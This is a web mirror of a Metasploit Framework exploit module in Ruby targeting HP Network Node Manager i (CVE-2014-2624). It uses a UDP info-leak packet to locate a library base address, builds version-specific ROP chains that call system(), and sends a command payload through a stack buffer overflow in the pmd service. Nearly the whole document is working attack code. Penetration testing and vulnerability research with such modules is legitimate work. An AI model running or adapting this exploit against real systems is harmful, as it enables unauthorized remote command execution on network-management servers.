Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'HP Network Node Manager I PMD Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The
18
vulnerability exists in the pmd service, due to the insecure usage of functions like
19
strcpy and strcat while handling stack_option packets with user controlled data. In
20
order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from
21
the stack and finally build the ROP chain to avoid NX.
22
},
23
'Author' => [
24
'd(-_-)b', # Vulnerability discovery
25
'juan vazquez' # Metasploit module
26
],
27
'References' => [
28
['CVE', '2014-2624'],
29
['ZDI', '14-305']
30
],
31
'Payload' => {
32
'BadChars' => "\x00",
33
'Space' => 3000,
34
'DisableNops' => true,
35
'Compat' =>
36
{
37
'PayloadType' => 'cmd cmd_bash',
38
'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'
39
}
40
},
41
'Arch' => ARCH_CMD,
42
'Platform' => 'unix',
43
'Targets' => [
44
['Automatic', {}],
45
[
46
'HP NNMi 9.10 / CentOS 5',
47
{
48
# ptr to .rodata with format specifier
49
# .rodata:0003BE86 aS_1 db '%s',0
50
'ov_offset' => 0x3BE86,
51
:rop => :rop_hp_nnmi_9_10
52
}
53
],
54
[
55
'HP NNMi 9.20 / CentOS 6',
56
{
57
# ptr to .rodata with format specifier
58
# .rodata:0003C2D6 aS_1 db '%s',0
59
'ov_offset' => 0x3c2d8,
60
:rop => :rop_hp_nnmi_9_20
61
}
62
]
63
],
64
'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20
65
'DisclosureDate' => '2014-09-09',
66
'DefaultTarget' => 0,
67
'Notes' => {
68
'Reliability' => UNKNOWN_RELIABILITY,
69
'Stability' => UNKNOWN_STABILITY,
70
'SideEffects' => UNKNOWN_SIDE_EFFECTS
71
}
72
)
73
)
74
75
register_options([ Opt::RPORT(7426) ])
76
end
77
78
def check
79
header = [
80
0x2a5, # pmdmgr_init pkt
81
0x3cc, # signature
82
0xa0c, # signature
83
0xca8 # signature
84
].pack("V")
85
86
data = "\x00" * (0xfa4 - header.length)
87
88
pkt = header + data
89
90
connect_udp
91
udp_sock.put(pkt)
92
res = udp_sock.timed_read(8, 1)
93
if res.blank?
94
# To mitigate MacOSX udp sockets behavior
95
udp_sock.put(pkt)
96
res = udp_sock.timed_read(8)
97
end
98
disconnect_udp
99
100
if res.blank?
101
return Exploit::CheckCode::Unknown
102
elsif res.length == 8 && res.unpack("V").first == 0x2a5
103
return Exploit::CheckCode::Detected
104
else
105
return Exploit::CheckCode::Unknown
106
end
107
end
108
109
def exploit
110
connect_udp
111
# info leak with a "proto_tbl" packet
112
print_status("Sending a 'proto_tbl' request...")
113
udp_sock.put(proto_tbl_pkt)
114
115
res = udp_sock.timed_read(13964, 1)
116
if res.blank?
117
# To mitigate MacOSX udp sockets behavior
118
udp_sock.put(proto_tbl_pkt)
119
res = udp_sock.timed_read(13964)
120
end
121
122
if res.blank?
123
fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...")
124
end
125
126
if target.name == 'Automatic'
127
print_status("Fingerprinting target...")
128
my_target = auto_target(res)
129
fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil?
130
else
131
my_target = target
132
fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res)
133
end
134
135
print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...")
136
137
# exploit with a "stack_option_pkt" packet
138
udp_sock.put(stack_option_pkt(my_target, @ov_base))
139
140
disconnect_udp
141
end
142
143
def rop_hp_nnmi_9_10(ov_base)
144
rop = rand_text_alpha(775)
145
rop << [0x808d7c1].pack("V") # pop ebx ; pop ebp ; ret
146
rop << [ov_base + 0x481A8].pack("V") # ebx: libov .got
147
rop << [0x8096540].pack("V") # ptr to .data where user controlled string will be stored:
148
# "PMD Stack option specified, but stack not available (user_controlled)"
149
rop << [0x808d7c2].pack("V") # pop ebp # ret
150
rop << [0x08096540 + 4732].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
151
rop << [ov_base + 0x1D692].pack("V") # ptr to 'call _system' sequence:
152
# .text:0001D692 lea eax, [ebp+dest]
153
# .text:0001D698 push eax ; command
154
# .text:0001D699 call _system
155
rop
156
end
157
158
def rop_hp_nnmi_9_20(ov_base)
159
rop = rand_text_alpha(775)
160
rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret
161
rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence
162
# .text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028)
163
# .text:0001DAEC push eax ; command
164
# .text:0001DAED call _system
165
rop << [0x08097160].pack("V") # ebx: ptr to .data where user controlled string will be stored:
166
# "PMD Stack option specified, but stack not available (user_controlled)"
167
rop << rand_text_alpha(4) # ebp: padding
168
rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
169
rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret
170
rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret
171
rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base
172
rop << rand_text_alpha(4) # ebx: padding
173
rop << [0x8097160 + 4764].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
174
rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
175
rop << [0x805a58d].pack("V") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)
176
rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret ; (eax: call to system sequence from libov)
177
rop << [0x80528BC].pack("V") # jmp eax
178
179
rop
180
end
181
182
def stack_option_pkt(t, ov_base)
183
hdr = [0x2a9].pack("V") # stack_option packet
184
data = "-SA" # stack name (invalid one 'A')
185
data << ";" # separator
186
data << self.send(t[:rop], ov_base) # malformed stack options
187
data << payload.encoded
188
data << ";\n"
189
data << "\x00" * (0xfa4 - data.length - hdr.length)
190
191
hdr + data
192
end
193
194
def proto_tbl_pkt
195
hdr = [0x2aa].pack("V") # proto_tbl packet
196
data = "\x00" * (0xfa4 - hdr.length)
197
198
hdr + data
199
end
200
201
def base(address, offset)
202
address - offset
203
end
204
205
def find_ov_base(t, data)
206
print_status("Searching #{t.name} pointers...")
207
i = 0
208
data.unpack("V*").each do |int|
209
if base(int, t['ov_offset']) % 0x1000 == 0
210
print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}")
211
@ov_base = base(int, t['ov_offset'])
212
return true
213
end
214
i = i + 1
215
end
216
217
false
218
end
219
220
def auto_target(data)
221
targets.each do |t|
222
next if t.name == 'Automatic'
223
if find_ov_base(t, data)
224
return t
225
end
226
end
227
228
nil
229
end
230
end
231
232